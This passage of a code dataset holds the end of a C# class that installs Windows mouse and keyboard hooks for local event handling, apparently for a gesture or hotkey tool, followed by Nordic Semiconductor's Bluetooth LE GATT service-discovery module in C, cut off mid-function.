}\r\n                        else @continue = true;\r\n                        \r\n\r\n                    } while (@continue);\r\n\r\n                }\r\n                finally\r\n                {\r\n                    if (_hookId != IntPtr.Zero) Native.UnhookWindowsHookEx(_hookId);\r\n                    if (_kbdHookId != IntPtr.Zero) Native.UnhookWindowsHookEx(_kbdHookId);\r\n                }\r\n\r\n                Debug.WriteLine(\"钩子线程结束\");\r\n\r\n                //GC.KeepAlive(hookProc);\r\n\r\n            }, maxStackSize: 1) {\r\n                IsBackground = true,\r\n                Priority = ThreadPriority.Highest,\r\n                Name = \"MouseHook钩子线程\" };\r\n\r\n            _hookThread.Start();\r\n        }\r\n\r\n        public void Uninstall()\r\n        {\r\n            if (_hookId == IntPtr.Zero || _kbdHookId == IntPtr.Zero || _hookThreadNativeId == 0) return;\r\n            //发送一个消息给钩子线程,使其GetMessage退出\r\n            if (_hookThread != null && _hookThread.IsAlive)\r\n            {\r\n                Native.PostThreadMessage(_hookThreadNativeId, (uint)User32.WM.WM_CLOSE, UIntPtr.Zero, IntPtr.Zero);\r\n\r\n                if (!_hookThread.Join(1000 * 3))\r\n                {\r\n                    throw new TimeoutException(\"等待钩子线程结束超时\");\r\n                }\r\n\r\n                _hookThread = null;\r\n            }\r\n        }\r\n\r\n        protected virtual IntPtr MouseHookProc(int nCode, IntPtr wParam, IntPtr lParam)\r\n        {\r\n            if (nCode < 0)\r\n            {\r\n                Debug.WriteLine(\"nCode < 0 ??\");\r\n                return Native.CallNextHookEx(_hookId, nCode, wParam, lParam);\r\n            }\r\n\r\n            //注意：用这个API来过的鼠标位置，不会出现在迅雷上坐标值变为一半的问题。\r\n            Native.POINT curPos;\r\n            Native.GetCursorPos(out curPos);\r\n            //Debug.WriteLine(wParam);\r\n            var args = new MouseHookEventArgs((MouseMsg)wParam, curPos.x, curPos.y,wParam,lParam);\r\n\r\n            try\r\n            {\r\n                if (MouseHookEvent != null)\r\n                {\r\n                    var timeBefore = DateTime.UtcNow;\r\n\r\n                    MouseHookEvent(args);\r\n\r\n                    var timeElapsed = DateTime.UtcNow - timeBefore;\r\n                    //Debug.WriteLine(\"MouseHookEvent used time: \" + timeElapsed.TotalMilliseconds);\r\n\r\n                    //如果用了太长时间，则假定卡住了，重新安装\r\n                    if(timeElapsed.TotalMilliseconds > 1000)\r\n                    {\r\n                        Debug.WriteLine(\"MouseHookEvent消耗了太多时间，假定hook已失效；重新安装ing...\");\r\n                        Native.PostThreadMessage(_hookThreadNativeId, WM_HOOK_TIMEOUT, UIntPtr.Zero, IntPtr.Zero);\r\n                    }\r\n\r\n                }\r\n            }\r\n            catch(Exception e)\r\n            {\r\n                Debug.WriteLine(\"MouseHookEvent中发生了未处理的异常，并且冒泡到了MouseHookProc。这是不应该出现的。\"+e);\r\n            }\r\n\r\n            return args.Handled ?  new IntPtr(-1) : Native.CallNextHookEx(_hookId, nCode, wParam, lParam);\r\n        }\r\n\r\n        protected virtual int KeyboardHookProc(int code, int wParam, ref Native.keyboardHookStruct lParam)\r\n        {\r\n            if (code >= 0 && KeyboardHookEvent != null)\r\n            {\r\n                var key = (Keys)lParam.vkCode;\r\n                KeyboardEventType type;\r\n\r\n                if ((wParam == (int)User32.WM.WM_KEYDOWN || wParam == (int) User32.WM.WM_SYSKEYDOWN))\r\n                {\r\n                    type = KeyboardEventType.KeyDown;\r\n                }\r\n                else if ((wParam == (int)User32.WM.WM_KEYUP || wParam == (int)User32.WM.WM_SYSKEYUP))\r\n                {\r\n                    type = KeyboardEventType.KeyUp;\r\n                }else return Native.CallNextHookEx(_hookId, code, wParam, ref lParam);\r\n                \r\n                var args = new KeyboardHookEventArgs(type, key, wParam, lParam);\r\n                KeyboardHookEvent(args);\r\n\r\n                if (args.Handled) return 1;\r\n\r\n            }  \r\n                  \r\n            return Native.CallNextHookEx(_hookId, code, wParam, ref lParam);\r\n        }\r\n\r\n        #region dispose\r\n            //If the method is invoked from the finalizer (disposing is false), \r\n            //other objects should not be accessed. \r\n            //The reason is that objects are finalized in an unpredictable order and so they,\r\n            //or any of their dependencies, might already have been finalized.\r\n        protected virtual void Dispose(bool disposing)\r\n        {\r\n            if (IsDisposed) return;\r\n\r\n            if (disposing)\r\n            {\r\n                Uninstall();\r\n            }\r\n            else\r\n            {\r\n                Uninstall();\r\n            }\r\n\r\n            IsDisposed = true;\r\n        }\r\n\r\n        public void Dispose()\r\n        {\r\n            Dispose(true);\r\n            GC.SuppressFinalize(this);\r\n        }\r\n\r\n        ~MouseKeyboardHook()\r\n        {\r\n            Dispose(false);\r\n        }\r\n        #endregion\r\n    }\r\n\r\n    public enum MouseMsg\r\n    {\r\n        WM_LBUTTONDOWN = 0x0201,\r\n        WM_LBUTTONUP = 0x0202,\r\n        WM_MOUSEMOVE = 0x0200,\r\n\r\n        WM_MOUSEWHEEL = 0x020A,\r\n        WM_MBUTTONDOWN = 0x0207,\r\n        WM_MBUTTONUP = 0X0208,\r\n\r\n        WM_RBUTTONDOWN = 0x0204,\r\n        WM_RBUTTONUP = 0x0205,\r\n\r\n        WM_XBUTTONDOWN = 0x020B,\r\n        WM_XBUTTONUP = 0x020C\r\n    }\r\n\r\n    public enum KeyboardEventType\r\n    {\r\n        KeyDown, KeyUp\r\n    }\r\n\r\n    public enum XButtonNumber\r\n    {\r\n        One = 1, Two = 2\r\n    }\r\n\r\n}\r\n"}
+{"text": "/* \n * Copyright (c) 2013 Nordic Semiconductor ASA\n * All rights reserved.\n * \n * Redistribution and use in source and binary forms, with or without modification,\n * are permitted provided that the following conditions are met:\n * \n *   1. Redistributions of source code must retain the above copyright notice, this list \n *      of conditions and the following disclaimer.\n *\n *   2. Redistributions in binary form, except as embedded into a Nordic Semiconductor ASA \n *      integrated circuit in a product or a software update for such product, must reproduce \n *      the above copyright notice, this list of conditions and the following disclaimer in \n *      the documentation and/or other materials provided with the distribution.\n *\n *   3. Neither the name of Nordic Semiconductor ASA nor the names of its contributors may be \n *      used to endorse or promote products derived from this software without specific prior \n *      written permission.\n *\n *   4. This software, with or without modification, must only be used with a \n *      Nordic Semiconductor ASA integrated circuit.\n *\n *   5. Any software provided in binary or object form under this license must not be reverse \n *      engineered, decompiled, modified and/or disassembled. \n * \n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND\n * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\n * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR\n * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES\n * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\n * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON\n * ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\n * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n * \n */\n\n\n#include \"ble_db_discovery.h\"\n#include \n#include \"nrf_ble.h\"\n#include \"nrf_log.h\"\n\n#include \"sdk_common.h\"\n\n#define SRV_DISC_START_HANDLE  0x0001                    /**< The start handle value used during service discovery. */\n#define DB_DISCOVERY_MAX_USERS BLE_DB_DISCOVERY_MAX_SRV  /**< The maximum number of users/registrations allowed by this module. */\n#define DB_LOG                 NRF_LOG_PRINTF_DEBUG      /**< A debug logger macro that can be used in this file to do logging information over UART. */\n\n\n/**@brief Array of structures containing information about the registered application modules. */\nstatic ble_uuid_t m_registered_handlers[DB_DISCOVERY_MAX_USERS];\n\n\n/**@brief   Array of structures containing pending events to be sent to the application modules.\n *\n * @details Whenever a discovery related event is to be raised to a user module, it will be stored\n *          in this array first. When all services needed to be discovered have been\n *          discovered, all pending events will be sent to the corresponding user modules.\n **/\nstatic struct\n{\n    ble_db_discovery_evt_t         evt;          /**< The pending event. */\n    ble_db_discovery_evt_handler_t evt_handler;  /**< The event handler which should be called to raise this event. */\n} m_pending_user_evts[DB_DISCOVERY_MAX_USERS];\n\nstatic ble_db_discovery_evt_handler_t m_evt_handler;\nstatic uint32_t m_pending_usr_evt_index;    /**< The index to the pending user event array, pointing to the last added pending user event. */\nstatic uint32_t m_num_of_handlers_reg;      /**< The number of handlers registered with the DB Discovery module. */\nstatic bool     m_initialized = false;      /**< This variable Indicates if the module is initialized or not. */\n\n#define MODULE_INITIALIZED (m_initialized == true)\n#include \"sdk_macros.h\"\n\n/**@brief     Function for fetching the event handler provided by a registered application module.\n *\n * @param[in] srv_uuid UUID of the service.\n *\n * @retval    evt_handler Event handler of the module, registered for the given service UUID.\n * @retval    NULL If no event handler is found.\n */\nstatic ble_db_discovery_evt_handler_t registered_handler_get(const ble_uuid_t * const p_srv_uuid)\n{\n    uint32_t i;\n\n    for (i = 0; i < m_num_of_handlers_reg; i++)\n    {\n        if (BLE_UUID_EQ(&(m_registered_handlers[i]), p_srv_uuid))\n        {\n            return (m_evt_handler);\n        }\n    }\n\n    return NULL;\n}\n\n\n/**@brief     Function for storing the event handler provided by a registered application module.\n *\n * @param[in] p_srv_uuid    The UUID of the service.\n * @param[in] p_evt_handler The event handler provided by the application.\n *\n * @retval    NRF_SUCCESS If the handler was stored or already present in the list.\n * @retval    NRF_ERROR_NO_MEM If there is no space left to store the handler.\n */\nstatic uint32_t registered_handler_set(const ble_uuid_t * const       p_srv_uuid,\n                                       ble_db_discovery_evt_handler_t p_evt_handler)\n{\n    if (registered_handler_get(p_srv_uuid) != NULL)\n    {\n        return NRF_SUCCESS;\n    }\n    if (m_num_of_handlers_reg < DB_DISCOVERY_MAX_USERS)\n    {\n        m_registered_handlers[m_num_of_handlers_reg] = *p_srv_uuid;\n\n        m_num_of_handlers_reg++;\n\n        return NRF_SUCCESS;\n    }\n    else\n    {\n        return NRF_ERROR_NO_MEM;\n    }\n}\n\n\n/**@brief Function for sending all pending discovery events to the corresponding user modules.\n */\nstatic void pending_user_evts_send(void)\n{\n    uint32_t i = 0;\n\n    for (i = 0; i < m_num_of_handlers_reg; i++)\n    {\n        // Pass the event to the corresponding event handler.\n        m_pending_user_evts[i].evt_handler(&(m_pending_user_evts[i].evt));\n    }\n    m_pending_usr_evt_index = 0;\n}\n\n\n/**@brief     Function for indicating error to the application.\n *\n * @details   This function will fetch the event handler based on the UUID of the service being\n *            discovered. (The event handler is registered by the application beforehand).\n *            The error code is added to the pending events together with the event handler.\n *            If no event handler was found, then this function will do nothing.\n *\n * @param[in] p_db_discovery Pointer to the DB discovery structure.\n * @param[in] err_code       Error code that should be provided to the application.\n * @param[in] conn_handle    Connection Handle.\n *\n */\nstatic void discovery_error_evt_trigger(ble_db_discovery_t * const p_db_discovery,\n                                        uint32_t                   err_code,\n                                        uint16_t const             conn_handle)\n{\n    ble_db_discovery_evt_handler_t p_evt_handler;\n    ble_gatt_db_srv_t            * p_srv_being_discovered;\n\n    p_srv_being_discovered = &(p_db_discovery->services[p_db_discovery->curr_srv_ind]);\n\n    p_evt_handler = registered_handler_get(&(p_srv_being_discovered->srv_uuid));\n\n    if (p_evt_handler != NULL)\n    {\n        ble_db_discovery_evt_t evt;\n\n        evt.conn_handle     = conn_handle;\n        evt.evt_type        = BLE_DB_DISCOVERY_ERROR;\n        evt.params.err_code = err_code;\n\n        p_evt_handler(&evt);\n    }\n}\n\n\n/**@brief     Function for triggering a Discovery Complete or Service Not Found event to the\n *            application.\n *\n * @details   This function will fetch the event handler based on the UUID of the service being\n *            discovered. (The event handler is registered by the application beforehand).\n *            It then triggers an event indicating the completion of the service discovery.\n *            If no event handler was found, then this function will do nothing.\n *\n * @param[in] p_db_discovery Pointer to the DB discovery structure.\n * @param[in] is_srv_found   Variable to indicate if the service was found at the peer.\n * @param[in] conn_handle    Connection Handle.\n */\nstatic void discovery_complete_evt_trigger(ble_db_discovery_t * const p_db_discovery,\n                                           bool                       is_srv_found,\n                                           uint16_t const             conn_handle)\n{\n    ble_db_discovery_evt_handler_t p_evt_handler;\n    ble_gatt_db_srv_t            * p_srv_being_discovered;\n\n    p_srv_being_discovered = &(p_db_discovery->services[p_db_discovery->curr_srv_ind]);\n\n    p_evt_handler = registered_handler_get(&(p_srv_being_discovered->srv_uuid));\n\n    if (p_evt_handler != NULL)\n    {\n        if (m_pending_usr_evt_index < DB_DISCOVERY_MAX_USERS)\n        {\n            // Insert an event into the pending event list.\n            m_pending_user_evts[m_pending_usr_evt_index].evt.conn_handle = conn_handle;\n\n            m_pending_user_evts[m_pending_usr_evt_index].evt.params.discovered_db =\n                *p_srv_being_discovered;\n            if (is_srv_found)\n            {\n                m_pending_user_evts[m_pending_usr_evt_index].evt.evt_type =\n                    BLE_DB_DISCOVERY_COMPLETE;\n            }\n            else\n            {\n                m_pending_user_evts[m_pending_usr_evt_index].evt.evt_type =\n                    BLE_DB_DISCOVERY_SRV_NOT_FOUND;\n            }\n            m_pending_user_evts[m_pending_usr_evt_index].evt_handler = p_evt_handler;\n\n            m_pending_usr_evt_index++;\n\n            if (m_pending_usr_evt_index == m_num_of_handlers_reg)\n            {\n                // All registered modules have pending events. Send all pending events to the user\n                // modules.\n                pending_user_evts_send();\n            }\n            else\n            {\n                // Too many events pending. Do nothing. (Ideally this should not happen.)\n            }\n        }\n    }\n}\n\n\n/**@brief     Function for handling service discovery completion.\n *\n * @details   This function will be used to determine if there are more services to be discovered,\n *            and if so, initiate the discovery of the next service.\n *\n * @param[in] p_db_discovery Pointer to the DB Discovery Structure.\n * @param[in] conn_handle    Connection Handle.\n */\nstatic void on_srv_disc_completion(ble_db_discovery_t * p_db_discovery,\n                                   uint16_t const       conn_handle)\n{\n    p_db_discovery->discoveries_count++;\n\n    // Check if more services need to be discovered.\n    if (p_db_discovery->discoveries_count < m_num_of_handlers_reg)\n    {\n        // Reset the current characteristic index since a new service discovery is about to start.\n        p_db_discovery->curr_char_ind = 0;\n\n        // Initiate discovery of the next service.\n        p_db_discovery->curr_srv_ind++;\n\n        ble_gatt_db_srv_t * p_srv_being_discovered;\n\n        p_srv_being_discovered = &(p_db_discovery->services[p_db_discovery->curr_srv_ind]);\n\n        p_srv_being_discovered->srv_uuid = m_registered_handlers[p_db_discovery->curr_srv_ind];\n\n        // Reset the characteristic count in the current service to zero since a new service\n        // discovery is about to start.\n        p_srv_being_discovered->char_count = 0;\n\n        DB_LOG(\"[DB]: Starting discovery of service with UUID 0x%x for Connection handle %d\\r\\n\",\n               p_srv_being_discovered->srv_uuid.uuid, conn_handle);\n\n        uint32_t err_code;\n\n        err_code = sd_ble_gattc_primary_services_discover\n                   (\n                   conn_handle,\n                   SRV_DISC_START_HANDLE,\n                   &(p_srv_being_discovered->srv_uuid)\n                   );\n        if (err_code != NRF_SUCCESS)\n        {\n            p_db_discovery->discovery_in_progress = false;\n\n            // Error with discovering the service.\n            // Indicate the error to the registered user application.\n            discovery_error_evt_trigger(p_db_discovery, err_code, conn_handle);\n\n            m_pending_user_evts[0].evt.evt_type    = BLE_DB_DISCOVERY_AVAILABLE;\n            m_pending_user_evts[0].evt.conn_handle = conn_handle;\n//            m_evt_handler(&m_pending_user_evts[0].evt);\n\n            return;\n        }\n    }\n    else\n    {\n        // No more service discovery is needed.\n        p_db_discovery->discovery_in_progress  = false;\n        m_pending_user_evts[0].evt.evt_type    = BLE_DB_DISCOVERY_AVAILABLE;\n        m_pending_user_evts[0].evt.conn_handle = conn_handle;\n        //m_evt_handler(&m_pending_user_evts[0].evt);\n    }\n}\n\n\n/**@brief     Function for finding out if a characteristic discovery should be performed after the\n *            last discovered characteristic.\n *\n * @details   This function is used during the time of database discovery to find out if there is\n *            a need to do more characteristic discoveries. The value handles of the\n *            last discovered characteristic is compared with the end handle of the service.\n *            If the service handle is greater than one of the former characteristic handles,\n *            it means that a characteristic discovery is required.\n *\n * @param[in] p_db_discovery The pointer to the DB Discovery structure.\n * @param[in] p_after_char   The pointer to the last discovered characteristic.\n *\n * @retval    True if a characteristic discovery is required.\n * @retval    False if a characteristic discovery is NOT required.\n */\nstatic bool is_char_discovery_reqd(ble_db_discovery_t * const p_db_discovery,\n                                   ble_gattc_char_t         * p_after_char)\n{\n    if (\n        p_after_char->handle_value <\n        p_db_discovery->services[p_db_discovery->curr_srv_ind].handle_range.end_handle\n       )\n    {\n        // Handle value of the characteristic being discovered is less than the end handle of\n        // the service being discovered. There is a possibility of more characteristics being\n        // present. Hence a characteristic discovery is required.\n        return true;\n    }\n\n    return false;\n}\n\n\n/**@brief      Function to find out if a descriptor discovery is required.\n *\n * @details    This function finds out if there is a possibility of existence of descriptors between\n *             current characteristic and the next characteristic. If so, this function will compute\n *             the handle range on which the descriptors may be present and will return it.\n *             If the current characteristic is the last known characteristic, then this function\n *             will use the service end handle to find out if the current characteristic can have\n *             descriptors.\n *\n * @param[in]  p_db_discovery Pointer to the DB Discovery structure.\n * @param[in]  p_curr_char    Pointer to the current characteristic.\n * @param[in]  p_next_char    Pointer to the next characteristic. This should be NULL if the\n *                            caller knows that there is no characteristic after the current\n *                            characteristic at the peer.\n * @param[out] p_handle_range Pointer to the handle range in which descriptors may exist at the\n *                            the peer.\n *\n * @retval     True If a descriptor discovery is required.\n * @retval     False If a descriptor discovery is NOT required.\n */\nstatic bool is_desc_discovery_reqd(ble_db_discovery_t       * p_db_discovery,\n                                   ble_gatt_db_char_t       * p_curr_char,\n                                   ble_gatt_db_char_t       * p_next_char,\n                                   ble_gattc_handle_range_t * p_handle_range)\n{\n    if (p_next_char == NULL)\n    {\n        // Current characteristic is the last characteristic in the service. Check if the value\n        // handle of the current characteristic is equal to the service end handle.\n        if (\n            p_curr_char->characteristic.handle_value ==\n            p_db_discovery->services[p_db_discovery->curr_srv_ind].handle_range.end_handle\n           )\n        {\n            // No descriptors can be present for the current characteristic. p_curr_char is the last\n            // characteristic with no descriptors.\n            return false;\n        }\n\n        p_handle_range->start_handle = p_curr_char->characteristic.handle_value + 1;\n\n        // Since the current characteristic is the last characteristic in the service, the end\n        // handle should be the end handle of the service.\n        p_handle_range->end_handle =\n            p_db_discovery->services[p_db_discovery->curr_srv_ind].handle_range.end_handle;\n\n        return true;\n    }\n\n    // p_next_char != NULL. Check for existence of descriptors between the current and the next\n    // characteristic.\n    if ((p_curr_char->characteristic.handle_value + 1) == p_next_char->characteristic.handle_decl)\n    {\n        // No descriptors can exist between the two characteristic.\n        return false;\n    }\n\n    p_handle_range->start_handle = p_curr_char->characteristic.handle_value + 1;\n    p_handle_range->end_handle   = p_next_char->characteristic.handle_decl - 1;\n\n    return true;\n}\n\n\n/**@brief     Function for performing characteristic discovery.\n *\n * @param[in] p_db_discovery Pointer to the DB Discovery structure.\n * @param[in] conn_handle    Connection Handle.\n *\n * @return    NRF_SUCCESS if the SoftDevice was successfully requested to perform the characteristic\n *            discovery. Otherwise an error code. This function returns the error code returned\n *            by the SoftDevice API @ref sd_ble_gattc_characteristics_discover.\n */\nstatic uint32_t characteristics_discover(ble_db_discovery_t * const p_db_discovery,\n                                         uint16_t const             conn_handle)\n{\n    ble_gatt_db_srv_t      * p_srv_being_discovered;\n    ble_gattc_handle_range_t handle_range;\n\n    p_srv_being_discovered = &(p_db_discovery->services[p_db_discovery->curr_srv_ind]);\n\n    if (p_db_discovery->curr_char_ind != 0)\n    {\n        // This is not the first characteristic being discovered. Hence the 'start handle' to be\n        // used must be computed using the handle_value of the previous characteristic.\n        ble_gattc_char_t * p_prev_char;\n        uint8_t            prev_char_ind = p_db_discovery->curr_char_ind - 1;\n\n        p_srv_being_discovered = &(p_db_discovery->services[p_db_discovery->curr_srv_ind]);\n\n        p_prev_char = &(p_srv_being_discovered->charateristics[prev_char_ind].characteristic);\n\n        handle_range.start_handle = p_prev_char->handle_value + 1;\n    }\n    else\n    {\n        // This is the first characteristic of this service being discovered.\n        handle_range.start_handle = p_srv_being_discovered->handle_range.start_handle;\n    }\n\n    handle_range.end_handle = p_srv_being_discovered->handle_range.end_handle;\n\n    return sd_ble_gattc_characteristics_discover(conn_handle, &handle_range);\n}\n\n\n/**@brief      Function for performing descriptor discovery, if required.\n *\n * @details    This function will check if descriptor discovery is required and then perform it if\n *             needed. If no more descriptor discovery is required for the service, then the output\n *             parameter p_raise_discov_complete is set to true, indicating to the caller that a\n *             discovery complete event can be triggered to the application.\n *\n * @param[in]  p_db_discovery           Pointer to the DB Discovery structure.\n * @param[out] p_raise_discov_complete  The value pointed to by this pointer will be set to true if\n *                                      the Discovery Complete event can be triggered to the\n *                                      application.\n * @param[in] conn_handle               Connection Handle.\n *\n * @return     NRF_SUCCESS if the SoftDevice was successfully requested to perform the descriptor\n *             discovery, or if no more descriptor discovery is required. Otherwise an error code.\n *             This function returns the error code returned by the SoftDevice API @ref\n *             sd_ble_gattc_descriptors_discover.\n */\nstatic uint32_t descriptors_discover(ble_db_discovery_t * const p_db_discovery,\n                                     bool *                     p_raise_discov_complete,\n                                     uint16_t const             conn_handle)\n{\n    ble_gattc_handle_range_t   handle_range;\n    ble_gatt_db_char_t       * p_curr_char_being_discovered;\n    ble_gatt_db_srv_t        * p_srv_being_discovered;\n    bool                       is_discovery_reqd = false;\n\n    p_srv_being_discovered = &(p_db_discovery->services[p_db_discovery->curr_srv_ind]);\n\n    p_curr_char_being_discovered =\n        &(p_srv_being_discovered->charateristics[p_db_discovery->curr_char_ind]);\n\n    if ((p_db_discovery->curr_char_ind + 1) == p_srv_being_discovered->char_count)\n    {\n        // This is the last characteristic of this service.\n        is_discovery_reqd = is_desc_discovery_reqd(p_db_discovery,\n                                                   p_curr_char_being_discovered,\n                                                   NULL,\n                                                   &handle_range);\n    }\n    else\n    {\n        uint8_t                   i;\n        ble_gatt_db_char_t * p_next_char;\n\n        for (i = p_db_discovery->curr_char_ind;\n             i < p_srv_being_discovered->char_count;\n             i++)\n        {\n\n            if (i == (p_srv_being_discovered->char_count - 1))\n            {\n                // The current characteristic is the last characteristic in the service.\n                p_next_char = NULL;\n            }\n            else\n            {\n                p_next_char = &(p_srv_being_discovered->charateristics[i + 1]);\n            }\n\n            // Check if it is possible for the current characteristic to have a descriptor.\n            if (is_desc_discovery_reqd(p_db_discovery,\n                                       p_curr_char_being_discovered,\n                                       p_next_char,\n                                       &handle_range))\n            {\n                is_discovery_reqd = true;\n                break;\n            }\n            else\n            {\n                // No descriptors can exist.\n                p_curr_char_being_discovered = p_next_char;\n                p_db_discovery->curr_char_ind++;\n            }\n        }\n    }\n\n    if (!is_discovery_reqd)\n    {\n        // No more descriptor discovery required. Discovery is complete.\n        // This informs the caller that a discovery complete event can be triggered.\n        *p_raise_discov_complete = true;\n\n        return NRF_SUCCESS;\n    }\n\n    *p_raise_discov_complete = false;\n\n    return sd_ble_gattc_descriptors_discover(conn_handle, &handle_range);\n}\n\n\n/**@brief     Function for handling primary service discovery response.\n *\n * @details   This function will handle the primary service discovery response and start the\n *            discovery of characteristics within that service.\n *\n * @param[in] p_db_discovery    Pointer to the DB Discovery structure.\n * @param[in] p_ble_gattc_evt   Pointer to the GATT Client event.\n */\nstatic void on_primary_srv_discovery_rsp(ble_db_discovery_t * const    p_db_discovery,\n                                         const ble_gattc_evt_t * const p_ble_gattc_evt)\n{\n    ble_gatt_db_srv_t                        * p_srv_being_discovered;\n    p_srv_being_discovered = &(p_db_discovery->services[p_db_discovery->curr_srv_ind]);\n\n    if (p_ble_gattc_evt->conn_handle != p_db_discovery->conn_handle)\n    {\n        return;\n    }\n    if (p_ble_gattc_evt->gatt_status == BLE_GATT_STATUS_SUCCESS)\n    {\n        uint32_t err_code;\n        const ble_gattc_evt_prim_srvc_disc_rsp_t * p_prim_srvc_disc_rsp_evt;\n\n        DB_LOG(\"Found service UUID 0x%x\\r\\n\", p_srv_being_discovered->srv_uuid.uuid);\n\n        p_prim_srvc_disc_rsp_evt = &(p_ble_gattc_evt->params.prim_srvc_disc_rsp);\n\n        p_srv_being_discovered->srv_uuid     = p_prim_srvc_disc_rsp_evt->services[0].uuid;\n        p_srv_being_discovered->handle_range = p_prim_srvc_disc_rsp_evt->services[0].handle_range;\n\n        err_code = characteristics_discover(p_db_discovery,\n                                            p_ble_gattc_evt->conn_handle);\n\n        if (err_code != NRF_SUCCESS)\n        {\n            p_db_discovery->discovery_in_progress = false;\n\n            // Error with discovering the service.\n            // Indicate the error to the registered user application.\n            discovery_error_evt_trigger(p_db_discovery,\n                                        err_code,\n                                        p_ble_gattc_evt->conn_handle);\n\n            m_pending_user_evts[0].evt.evt_type    = BLE_DB_DISCOVERY_AVAILABLE;\n            m_pending_user_evts[0].evt.conn_handle = p_ble_gattc_evt->conn_handle;\n            //m_evt_handler(&m_pending_user_evts[0].evt);\n        }\n    }\n    else\n    {\n        DB_LOG(\"Service UUID 0x%x Not found\\r\\n\", p_srv_being_discovered->srv_uuid.uuid);\n        // Trigger Service Not Found event to the application.\n        discovery_complete_evt_trigger(p_db_discovery,\n                                       false,\n                                       p_ble_gattc_evt->conn_handle);\n\n        on_srv_disc_completion(p_db_discovery,\n                               p_ble_gattc_evt->conn_handle);\n    }\n}\n\n\n/**@brief     Function for handling characteristic discovery response.\n *\n * @param[in] p_db_discovery    Pointer to the DB Discovery structure.\n * @param[in] p_ble_gattc_evt   Pointer to the GATT Client event.\n */\nstatic void on_characteristic_discovery_rsp(ble_db_discovery_t * const    p_db_discovery,\n                             const ble_gattc_evt_t * const                p_ble_gattc_evt)\n{\n    uint32_t                 err_code;\n    ble_gatt_db_srv_t      * p_srv_being_discovered;\n    bool                     perform_desc_discov = false;\n\n    if (p_ble_gattc_evt->conn_handle != p_db_discovery->conn_handle)\n    {\n        return;\n    }\n    p_srv_being_discovered = &(p_db_discovery->services[p_db_discovery->curr_srv_ind]);\n\n    if (p_ble_gattc_evt->gatt_status == BLE_GATT_STATUS_SUCCESS)\n    {\n        const ble_gattc_evt_char_disc_rsp_t * p_char_disc_rsp_evt;\n\n        p_char_disc_rsp_evt = &(p_ble_gattc_evt->params.char_disc_rsp);\n\n        // Find out the number of characteristics that were previously discovered (in earlier\n        // characteristic discovery responses, if any).\n        uint8_t num_chars_prev_disc = p_srv_being_discovered->char_count;\n\n        // Find out the number of characteristics that are currently discovered (in the\n        // characteristic discovery response being handled).\n        uint8_t num_chars_curr_disc = p_char_disc_rsp_evt->count;\n\n        // Check if the total number of discovered characteristics are supported by this module.\n        if ((num_chars_prev_disc + num_chars_curr_disc) <= BLE_GATT_DB_MAX_CHARS)\n        {\n            // Update the characteristics count.\n            p_srv_being_discovered->char_count += num_chars_curr_disc;\n        }\n        else\n        {\n            // The number of characteristics discovered at the peer is more than the supported\n            // maximum. This module will store only the characteristics found up to this point.\n            p_srv_being_discovered->char_count = BLE_GATT_DB_MAX_CHARS;\n        }\n\n        uint32_t i;\n        uint32_t j;\n\n        for (i = num_chars_prev_disc, j = 0; i < p_srv_being_discovered->char_count; i++, j++)\n        {\n            p_srv_being_discovered->charateristics[i].characteristic =\n                p_char_disc_rsp_evt->chars[j];\n\n            p_srv_being_discovered->charateristics[i].cccd_handle = BLE_GATT_HANDLE_INVALID;\n        }\n\n        ble_gattc_char_t * p_last_known_char;\n\n        p_last_known_char = &(p_srv_being_discovered->charateristics[i - 1].characteristic);\n\n        // If no more characteristic discovery is required, or if the maximum number of supported\n        // characteristic per service has been reached, descriptor discovery will be performed.\n        if (\n            !is_char_discovery_reqd(p_db_discovery, p_last_known_char) ||\n            (p_srv_being_discovered->char_count == BLE_GATT_DB_MAX_CHARS)\n           )\n        {\n            perform_desc_discov = true;\n        }\n        else\n        {\n            // Update the current characteristic index.\n            p_db_discovery->curr_char_ind = p_srv_being_discovered->char_count;\n\n            // Perform another round of characteristic discovery.\n            err_code = characteristics_discover(p_db_discovery,\n                                                p_ble_gattc_evt->conn_handle);\n\n            if (err_code != NRF_SUCCESS)\n            {\n                p_db_discovery->discovery_in_progress = false;\n\n                discovery_error_evt_trigger(p_db_discovery,\n                                            err_code,\n                                            p_ble_gattc_evt->conn_handle);\n\n                m_pending_user_evts[0].evt.evt_type    = BLE_DB_DISCOVERY_AVAILABLE;\n                m_pending_user_evts[0].evt.conn_handle = p_ble_gattc_evt->conn_handle;\n                //m_evt_handler(&m_pending_user_evts[0].evt);\n\n                return;\n            }\n        }\n    }\n    else\n    {\n        // The previous characteristic discovery resulted in no characteristics.\n        // descriptor discovery should be performed.\n        perform_desc_discov = true;\n    }\n\n    if (perform_desc_discov)\n    {\n        bool raise_discov_complete;\n\n        p_db_discovery->curr_char_ind = 0;\n\n        err_code = descriptors_discover(p_db_discovery,\n                                        &raise_discov_complete,\n                                        p_ble_gattc_evt->conn_handle);\n\n        if (err_code != NRF_SUCCESS)\n        {\n            p_db_discovery->discovery_in_progress = false;\n\n            discovery_error_evt_trigger(p_db_discovery,\n                                        err_code,\n                                        p_ble_gattc_evt->conn_handle);\n\n            m_pending_user_evts[0].evt.evt_type    = BLE_DB_DISCOVERY_AVAILABLE;\n            m_pending_user_evts[0].evt.conn_handle = p_ble_gattc_evt->conn_handle;\n            //m_evt_handler(&m_pending_user_evts[0].evt);\n\n            return;\n        }\n        if (raise_discov_complete)\n        {\n            // No more characteristics and descriptors need to be discovered. Discovery is complete.\n            // Send a discovery complete event to the user application.\n            DB_LOG(\"[DB]: Discovery of service with UUID 0x%x completed with success for Connection\"\n                   \" handle %d\\r\\n\", p_srv_being_discovered->srv_uuid.uuid,\n                   p_ble_gattc_evt->conn_handle);\n\n            